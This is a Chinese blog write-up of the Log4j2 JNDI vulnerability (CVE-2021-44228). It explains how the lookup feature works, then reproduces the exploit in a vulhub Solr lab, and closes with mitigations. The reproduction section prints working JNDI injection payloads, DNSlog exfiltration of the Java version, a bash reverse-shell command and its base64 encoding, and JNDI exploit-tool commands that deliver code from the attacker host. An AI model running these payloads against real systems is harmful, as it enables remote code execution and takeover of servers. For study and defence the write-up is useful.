log4j2原理分析及漏洞复现CVE-2021-44228

2023-09-17 11:38:47

文章目录

log4j2原理分析及漏洞复现

0x01 log4j2简介

Log4j2 是一个用于 Java 应用程序的成熟且功能强大的日志记录框架。它是 Log4j 的升级版本，相比于 Log4j，Log4j2 在性能、可靠性和灵活性方面都有显著的改进。

Log4j2 特点
  1. 高性能：Log4j2 使用异步日志记录机制，可以提供比传统同步日志记录更高的吞吐量和更低的延迟，因此在高负载情况下仍然能够保持出色的性能。
  2. 灵活的配置：Log4j2 的配置文件使用 XML、JSON 或 YAML 格式，允许将日志的格式、目标以及日志级别等属性进行灵活的配置和定制。
  3. 多种输出目标：Log4j2 支持多种日志输出目标，包括控制台、文件、数据库、远程套接字、JMS 和 Apache Flume 等。你可以根据需求配置日志输出到不同的目标。
  4. 强大的过滤器和路由：Log4j2 支持过滤器功能，可以根据日志的级别、源、线程等条件进行过滤，在满足条件时决定是否记录日志。此外，还可以基于日志的特定属性进行路由，将不同的日志记录到不同的目标。
  5. 按需加载插件：Log4j2 使用插件架构，允许按需加载各种附加组件和扩展功能，如自定义输出目标、格式器、过滤器等。这使得 Log4j2 的功能可以根据需要进行扩展和定制。
  6. 上下文容器：Log4j2 提供了 ThreadContext 和 ContextMap 等上下文容器，用于在多线程环境中跟踪和管理日志记录。这对于识别和调试特定线程的日志非常有用。

总体而言，Log4j2 是一个功能强大且灵活的日志记录框架，旨在提供高性能的日志记录解决方案。它被广泛用于各种 Java 应用程序和框架中，帮助开发人员更好地管理和分析应用程序的日志信息。

Log4j2组件的应用

以下是一些使用 Log4j2 组件的中间件和应用程序的常见示例：

  1. Apache Tomcat - Java Web 服务器
  2. Apache Kafka - 分布式流处理平台
  3. Apache ActiveMQ - 开源消息队列系统
  4. Elasticsearch - 分布式搜索和分析引擎
  5. Spring Framework - Java 开发框架
  6. Hibernate ORM - 对象关系映射框架
  7. Apache Camel - 企业集成模式框架
  8. Apache Solr - 开源搜索平台
  9. Apache Druid - 实时分析数据库
  10. Apache NiFi - 数据流处理系统
  11. Apache Flink - 分布式流处理框架
  12. Apache Hadoop - 分布式计算框架
  13. Apache Spark - 分布式大数据处理框架
  14. Apache Storm - 实时流处理框架
  15. Alfresco - 开源企业内容管理系统
  16. Atlassian JIRA - 项目管理和缺陷追踪工具
  17. Jenkins - 持续集成和交付平台
  18. SonarQube - 代码质量管理平台
  19. Liferay - 企业门户和内容管理系统
  20. Graylog - 日志管理和分析平台

0x02 CVE-2021-44228

漏洞简介：

Apache Log4j2是一个基于Java的日志记录工具，当前被广泛应用于业务系统开发，开发者可以利用该工具将程序的输入输出信息进行日志记录。

2021年11月24日，阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。该漏洞是由于Apache Log4j2某些功能存在递归解析功能，导致攻击者可直接构造恶意请求，触发远程代码执行漏洞，从而获得目标服务器权限。

在java中最常用的日志框架是log4j2和logback，其中log4j2支持lookup功能（查找搜索），这也是一个非常强大的功能，设计之初的目的也是为了方便开发者调用

例如当开发者想在日志中打印今天的日期，则只需要输出 d a t a : M M − d d − y y y y ，此时 l o g 4 j 会将 {data:MM-dd-yyyy}，此时log4j会将 data:MM−dd−yyyy，此时log4j会将{}中包裹的内容单独处理，将它识别为日期查找，然后将该表达式替换为今天的日期内容输出为“08-22-2022”，这样做就不需要开发者自己去编写查找日期的代码。

表达式除了支持日期，还支持输出系统环境变量等功能，这样极大的方便了开发者。但是安全问题往往就是因为“图方便”引起的，毕竟设计者也是需要在安全性和用户体验之间做个平衡。

其实打印日期，打印系统变量这种对系统而言构不成什么威胁，最终要的原因是log4j还支持JNDI协议。

漏洞适用版本

2.0 <= Apache log4j2 <= 2.14.1

漏洞原理

Apache log4j2-RCE 漏洞是由于Log4j2提供的lookup功能下的Jndi Lookup模块出现问题所导致的，该功能模块在输出日志信息时允许开发人员通过相应的协议去请求远程主机上的资源。而开发人员在处理数据时，并没有对用户输入的信息进行判断，导致Log4j2请求远程主机上的含有恶意代码的资源 并执行其中的代码，从而造成远程代码执行漏洞。

log4j是一款通用日志记录工具，开发人员可以使用log4j对当前程序状态进行记录。log4j的功能非常强大，开发人员除了直接记录文本外，还可以使用简单表达式记录动态内容，例如：

logger.info("system propety: ${sys:user.dir}");
lookup功能

Lookup 是一种机制，用于动态获取和替换日志记录中的变量或属性的值。它提供了一种灵活的方式，可以在日志消息中引用、解析和插入各种上下文相关的信息。

Log4j2 内置了多个 Lookup 实现，每个 Lookup 都有不同的用途和功能。以下是一些常见的 Lookup 类型：

  1. ${date}：获取当前日期和时间，支持自定义格式。
  2. ${pid}：获取当前进程的 ID。
  3. ${logLevel}：获取当前日志记录的级别。
  4. ${sys:propertyName}：获取系统属性的值，例如 ${sys:user.home} 获取用户主目录。
  5. ${env:variableName}：获取环境变量的值，例如 ${env:JAVA_HOME} 获取 Java 安装路径。
  6. ${ctx:key}：获取日志线程上下文（ThreadContext）中指定键的值。
  7. ${class:fullyQualifiedName:methodName}：获取指定类的静态方法的返回值。
  8. ${mdc:key}：获取 MDC (Mapped Diagnostic Context) 中指定键的值。

使用${} 进行包裹，上述示例中，sys:user.dir 表示使用sys解析器，查找user.dir的内容，即在系统环境变量中查找user.dir，以替换 ${sys:user.dir} 进行打印。

log4j中除了sys解析器外，还有很多其他类型的解析器。其中，jndi 解析器就是本次漏洞的源头。

jndi解析器

jndi 解析器将通过 jdk 获取 jndi 对象，并使用这个 jndi 对象替换原有文本进行打印。 我们将 jndi 对象理解成为一个从程序外部获取的 Java 程序对象就可以了。jdk中提供了多种不同 jndi 对象的获取方式，获取方式可以称为schema，所以正常的包含jndi的日志记录方式如下：

logger.info("system propety: ${jndi:schema://url}");

其中，schema 是查找jndi对象的方式，jdk中支持 corbname, dns, iiop, iiopname, ldap, ldaps, rmi几种schema。

url是几种不同的schema下jndi的路径。不同的schema，url路径的配置方法不同。常用的schame是ldap，其url写法比较简单：jndi:ldap://xxx.dnslog.cn

jdk将从url指定的路径下载一段字节流，并将其反序列化为Java对象，作为jndi返回。反序列化过程中，即会执行字节流中包含的程序。

因此，如果攻击者能够控制日志打印的内容，就可以使目标服务器从攻击者指定的任意url地址下载代码字节流，攻击者在字节流中附带的代码就会在目标服务器上执行。

攻击者如何控制服务器上记录的日志内容呢？

大部分web服务程序都会对用户输入进行日志记录。例如：用户访问了哪些url，有哪些关键的输入等，都会被作为参数送到log4j中，我们在这些地方写上 ${jndi:ldap://xxx.dnslog.cn}就可以使web服务从xxx.dnslog.cn下载字节流了。

jndi是什么

JNDI（Java Naming and Directory Interface，JAVA命名和目录接口）：它提供一个目录系统，并将服务名称与对象关联起来，从而使得开发人员在开发过程中可以使用名称来访问对象。JNDI下面有很 多目录接口，用于不同的数据源的查找引用。

JNDI注入主要是用下载远程class，来运行恶意代码。JNDI注入攻击时常用的就是通过RMI和LDAP两种服务。

ldap服务

LDAP(轻型目录访问协议)是一个开放的，中立的，工业标准的应用协议，通过IP协议提供访问 控制和维护分布式信息的目录信息。

目录是一个为查询、浏览和搜索而优化的专业分布式数据库，它呈 树状结构组织数据，就好象Linux/Unix系统中的文件目录一样

RMI

​ RMI（远程方法调用）：它是一种机制，能够让在某个java虚拟机上的对象调用另一个Java虚拟机 的对象的方法。

0x03攻击过程

log4j2 远程代码执行漏洞大致过程（此处使用RMI，LDAP同理）： 假设有一个Java程序，将用户名信息到了日志中，如下：

image-20230908103511778

a. 攻击者发送一个HTTP请求，其用户名为${jndi://rmi:服务器地址/Exploit}

b. 被攻击服务器发现要输出的信息中有 ${}，则其中的内容要单独处理，进一步解析是JNDI扩展内容且使用的是RMI，而后根据RMI服务器地址去请求Exploit。

c. RMI服务器返回Reference对象（用于告诉请求端所请求对象所在的类），而该Reference指定了远端 文件下载服务器上含有恶意代码的class文件。

d. 被攻击服务器通过Reference对象去请求文件下载服务器上的class文件。

e. 被攻击服务器下载恶意class文件并执行其中的恶意代码

LDAP
当用户输入信息时，应用程序中的log4j2组件会将信息记录到日志中

a. 假如日志中含有该语句${jndi:ldap:192.168.96.1:1099/exp}

b. 被攻击服务器发现要输出的信息中有 ${}，log4j就会去解析该信息，通过jndi的lookup()方法去解析该URL：ldap:192.168.96.1:1099/exp

c. 解析到ldap，就会去192.168.61.129:1099的ldap服务找名为exp的资源，如果找不到就会去http服务中找，在http中找到exp之后，就会将资源信息返回给应用程序的log4j组件，而log4j组件就会下载下来，然后发现exp是一个.class文件，就会去执行里面的代码，从而实现注入攻击者就可以通过shell实现任意的命令执行，造成严重危害

0x04漏洞复现

漏洞环境

靶机：kali 192.168.100.134 vulhub/log4j/CVE-2021-44228

image-20230908111422588

攻击机：windows 10 192.168.100.143

或者本地物理机

新版本exp工具地址：
link1

老版本exp工具地址：
link2

1.访问靶机

靶机ip:8983

image-20230908111222097

2.dns回显验证

在注入点插入Payload

/solr/admin/cores?action=${jndi:ldap://vbdpkn.ceye.io}

image-20230917110150137

查看cecy是否返回数据

image-20230908111139848

查看java版本

${jndi:ldap://${sys:java.version}.vbdpkn.ceye.io}
${jndi:rmi://${sys:java.version}.vbdpkn.ceye.io}
${jndi:ldap://DNSlog地址/exp} //DNSolg地址

成功通过dnslog带了出来，对应的java版本

image-20230917110429716

3.将bash反弹shell命令编码备用

bash 命令反弹shell

bash -i >& /dev/tcp/192.168.100.143/8888 0>&1
  • bash: 启动一个 Bash shell。
  • -i: 打开一个交互式 shell 会话，允许用户输入命令和获取输出。
  • >& /dev/tcp/192.168.100.143/8888: 将标准输出和标准错误输出重定向到指定的 IP 地址为 192.168.100.143、端口号为 `8888 ’ TCP 连接。换句话说，它将尝试建立一个与该 IP 地址和端口号连接的网络套接字，并将输出发送到该连接。
  • 0>&1: 将标准输入（文件描述符 0）重定向到标准输出（文件描述符 1），意味着输入和输出都将通过网络套接字进行传输。

base64编码：

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xNDMvODg4OCAwPiYx
4.使用JNDIExploit进行漏洞利用

将上面base64编码后的bash命令填入指定位置

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar　-C "bash -c {echo,Base64编码后的Payload} | {base64,-d} | {bash,-i}" -A "攻击机IP"

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xNDMvODg4OCAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.100.143"

image-20230908111110779

5.在攻击机中开启监听
nc -lvvp 8888
6.使用payload的进行攻击
http://192.168.100.134:8983/solr/admin/cores?action=${jndi:ldap://192.168.100.143:1389/isimox}

//将工具生成的JNDI链接服务放到url里面进行执行
7.查看回显

image-20230908111049235

反弹shell成功；

新版本工具使用：

其他基本操作，通过DNSlog判断回显同以上一致

可查看帮助：

java -jar JNDIExploit-1.4-SNAPSHOT.jar -h

image-20230917110816580

首先开启LDAP和HTTP服务：

java -jar JNDIExploit-1.4-SNAPSHOT.jar  -i 192.168.100.1 //攻击者IP

//可通过加参数来修改LDAP和HTTP服务的端口，具体参考--help帮助

image-20230917110926776

java -jar JNDIExploit-1.4-SNAPSHOT.jar  -i 192.168.100.1 -u 
//查看用法

image-20230917111624682

选择上面的任意一个ldap服务：
比如：
ldap://192.168.100.1:1389/Basic/ReverseShell/[ip]/[port]
构造：
ldap://192.168.100.1:1389/Basic/ReverseShell/192.168.100.1/8888
//攻击ip和监听端口

本地开启监听：

image-20230917111922418

将构造的内容填入到${jndi:}当中，执行url

image-20230917112015959

点击执行后，开启的LDAP和HTTP服务的监听端会返回信息：

image-20230917112132529

再看本地监听的端口返回：

成功反弹shell

image-20230917112254775

0x05漏洞修复

  • 更新log4j至 rc2
  • 配置防火墙策略，禁止主动连接外网设备
  • 升级受影响的应用及组件
  • 过滤相关的关键词，比如${jndi://*}
  • 限制JNDI默认可以使用的协议
  • 限制可以通过LDAP访问的服务器和类
更多推荐

Zebec 生态 AMA 回顾：Nautilus 以及 $ZBC 的未来

在9月7日，Zebec创始人Sam做客社区，并进行了“NautilusChain以及$ZBC的未来”主题的AMA访谈。Sam在本次访谈中对NautilusChain生态的价值捕获、Zebec生态布局规划、可能会推出的NautilusChain治理通证NAUT进行了解读。本文将对本次AMA进行回顾与总结。主持人：社区新的

Android12之/proc/pid/status参数含义(一百六十五)

简介：CSDN博客专家，专注Android/Linux系统，分享多mic语音方案、音视频、编解码等技术，与大家一起成长！优质专栏：Audio工程师进阶系列【原创干货持续更新中……】🚀人生格言：人生从来没有捷径，只有行动才是治疗恐惧和懒惰的唯一良药.更多原创,欢迎关注：Android系统攻城狮1.前言本篇目的：如何获取

PriorityQueue初始化和方法

PriorityQueue概述PriorityQueue`是Java中的一个数据结构，它是一个优先队列实现，可以用来存储一组元素，并根据其优先级进行排序和检索。优先队列是一种特殊的队列，其中元素被赋予了优先级，高优先级的元素在队列中排在低优先级元素的前面。以下是PriorityQueue的一些重要特性和用法：基本特性：

【四】3D Object Model之创建Creation——read_object_model_3d()算子

😊😊😊欢迎来到本博客😊😊😊🌟🌟🌟Halcon算子太多，学习查找都没有系统的学习查找路径，本专栏主要分享Halcon各类算子含义及用法，有时间会更新具体案例。😊😊😊具体食用方式：可以点击本专栏【Halcon算子快速查找】–>搜索你要查询的算子名称；或者点击Halcon算子汇总博客，即可食用。🎁�

9月18日，每日信息差

今天是2023年09月19日，以下是为您准备的11条信息差第一、江苏无锡首次获得6000年前古人类DNA第二、全球天然钻石价格暴跌。数据显示，国际钻石交易所钻石价格指数在2022年3月达到158的历史峰值，之后一路下跌到目前的110左右，创近5年来新低，跌幅达约3成第三、海关总署：开展海关筑牢国家生物安全屏障、全面提升

TypeScrtpt学习

TypeScript开发环境搭建安装TS下载TS的编译器，它能够把TS文件转为JS文件。npminstall-gtypescript编译TS手动编译：使用tsc命令将一个TS文件转为JS文件。tscindex.ts//如果报错ts-node:无法将“ts-node”项识别为cmdlet、函数、脚本文件或可运行程序的名称

RP-母版 流程图 发布和预览 团队项目

母版创建一个模版，可根据形态不同引用不同母版。若不想母版受页面变化影响，也可以在引用时脱离母版创建母版：1)转换为母版2）在母版页面中添加母版拖放行为拖放行为，在母版名称上右键，、任意位置可以拖到任意位置固定位置页面引用的位置要与母版一致脱离母版引用的页面不收母版影响引用母版像拖动元件一样拖动，概要面板中母版前面会不同

哪种IP更适合你的数据抓取需求？

程序员大佬们好！今天我要和大家分享一个关于数据抓取的话题，那就是Socks5爬虫ip和动态IP之间的比较。在进行数据抓取时，选择适合自己需求的工具和技术是非常重要的。Socks5爬虫ip和动态IP都是常见的网络工具，它们在数据抓取方面都有各自的优势和特点。那么，Socks5爬虫ip和动态IP之间哪个更适合你的数据抓取需

计算机网络工程师多选题系列——操作系统

得多选者得天下啊同志们！摘录按照章节顺序，但事实上各章节习题有交叉。1操作系统1.1操作系统概论操作系统的主要功能：进程管理、存储管理、文件管理、设备管理和用户接口。操作系统的主要功能——设备管理：为用户程序提供系统调用接口、提供缓冲技术、管理通道、网卡等相关数据结构、提供虚拟设备技术。存储管理：包括内存的分配与回收和

SQLAlchemy & Oracle Database 23c Free 集成之旅

SQLAlchemy&OracleDatabase23cFree集成之旅1.SQLAlchemy是什么2.OracleDatabase23cFree是什么3.运行OracleDatabase23cFree4.学习SQLAlchemy统一教程4-1.安装依赖库4-2.建立连接-引擎4-3.使用事务和DBAPI4-3-1.

【C++ 学习 ㉑】- 详解 map 和 set（上）

目录一、C++STL关联式容器二、pair类模板三、set3.1-set的基本介绍3.2-set的成员函数3.1.1-构造函数3.1.2-迭代器3.1.3-修改操作3.1.4-其他操作四、map4.1-map的基本介绍4.2-map的成员函数4.2.1-迭代器4.2.2-operator[]五、multiset六、mu

热文推荐
  1. 深入解析：自己实现 MyBatis 底层机制的任务阶段1 - 读取配置文件与建立数据库连接

    😀前言.本文将深入探讨如何在自己实现MyBatis底层机制的过程中完成第一个任务阶段，即读取配置文件并建立数据库连接。这一关键步骤是了解MyBatis内部工作原理的第一步，也是自定义MyBatis底层机制的基础。.在任务阶段1中，我们将从头开始创建必要的配置文件和Java类，逐步解析配置文件，获取数据库连接，以为后续

  2. 单片机论文参考：5、基于单片机的自动打铃系统

    摘要本次设计中的LED数码管电子时钟电路采用24小时制记时方式,本次设计采用AT89C51单片机的扩展芯片和6个PNP三极管做驱动，由三块LED数码管构成的显示系统，与传统的基于8/16位普通单片机的LED显示系统相比较，本系统在不显著地增加系统成本的情况下，可支持更多的LED数码管稳定显示。设计采用AT98C51单片

  3. 详解SpringBoot的常用注解

    详解SpringBoot的常用注解在SpringBoot中，注解是一种非常重要的编程方式，它可以简化代码，提高开发效率。本文将详细介绍SpringBoot中的常用注解，以及它们的使用方法和场景。1.@SpringBootApplication1.1概述@SpringBootApplication是SpringBoot应

  4. 单片机论文参考：3、基于单片机的电子万年历设计

    摘要随着社会、科技的发展，人类得知时间，从观太阳、摆钟到现在电子钟，不断研究、创新。为了在观测时间，能够了解与人类密切相关的信息，比如星期、日期等，电子时钟诞生了，它集时间、日期、星期等功能于一身，具有读取方便、显示直观、功能多样、电路简洁等诸多优点，符合电子仪器仪表的发展趋势，具有广阔的市场前景。该电子时钟主要采用S

  5. 深入实现 MyBatis 底层机制的任务阶段 5- 开发和 Mapper 接口相映射的 MapperBean

    😀前言在软件开发的不同阶段，数据库交互是一个至关重要的组成部分，特别是在构建数据库驱动的应用程序时。在任务的第五阶段，我们将继续深入研究与Mapper接口和MapperBean类相关的开发工作。这两个组件是将数据库操作方法映射到实际SQL查询的关键部分，它们为我们提供了管理和执行数据库操作的关键工具。.在之前的部分中

  6. 数据仓库模型设计V2.0

    一、数仓建模的意义数据模型就是数据组织和存储方法，它强调从业务、数据存取和使用角度合理存储数据。只有将数据有序的组织和存储起来之后，数据才能得到高性能、低成本、高效率、高质量的使用。高性能：良好的数据模型能够帮助我们快速查询所需要的数据。低成本：良好的数据模型能减少重复计算，实现计算结果的复用，降低计算成本。高效率：良

  7. Nacos 打通 CMDB 实现就近访问

    博主介绍：✌全网粉丝4W+，全栈开发工程师，从事多年软件开发，在大厂呆过。持有软件中级、六级等证书。可提供微服务项目搭建与毕业项目实战、定制、远程，博主也曾写过优秀论文，查重率极低，在这方面有丰富的经验✌博主作品：《Java项目案例》主要基于SpringBoot+MyBatis/MyBatis-plus+MySQL+V

  8. 在ubuntu18.04上编译C++版本jsoncpp/opencv/onnxruntime且如何配置CMakelist把他们用起来~

    这篇文章背景是笔者在ubuntu上编译C++代码，依赖一些包，然后需要编译并配置到CMakelist做的笔记。主要也是一直不太懂CMakellist，做个笔记以防忘记，也给读者提供一站式的参考，可能您需要的不是这几个包，但大同小异，再带上cmakelist加持，最后提供可视化远程调试教程，可以把C++玩的飞起。这篇文章

  9. Spring Boot的魔法：构建高效Java应用的秘诀

    文章目录1.自动配置（Auto-Configuration）2.起步依赖（StarterDependencies）3.内嵌Web服务器（EmbeddedWebServer）4.外部化配置（ExternalizedConfiguration）5.SpringBootActuator6.SpringBootDevTools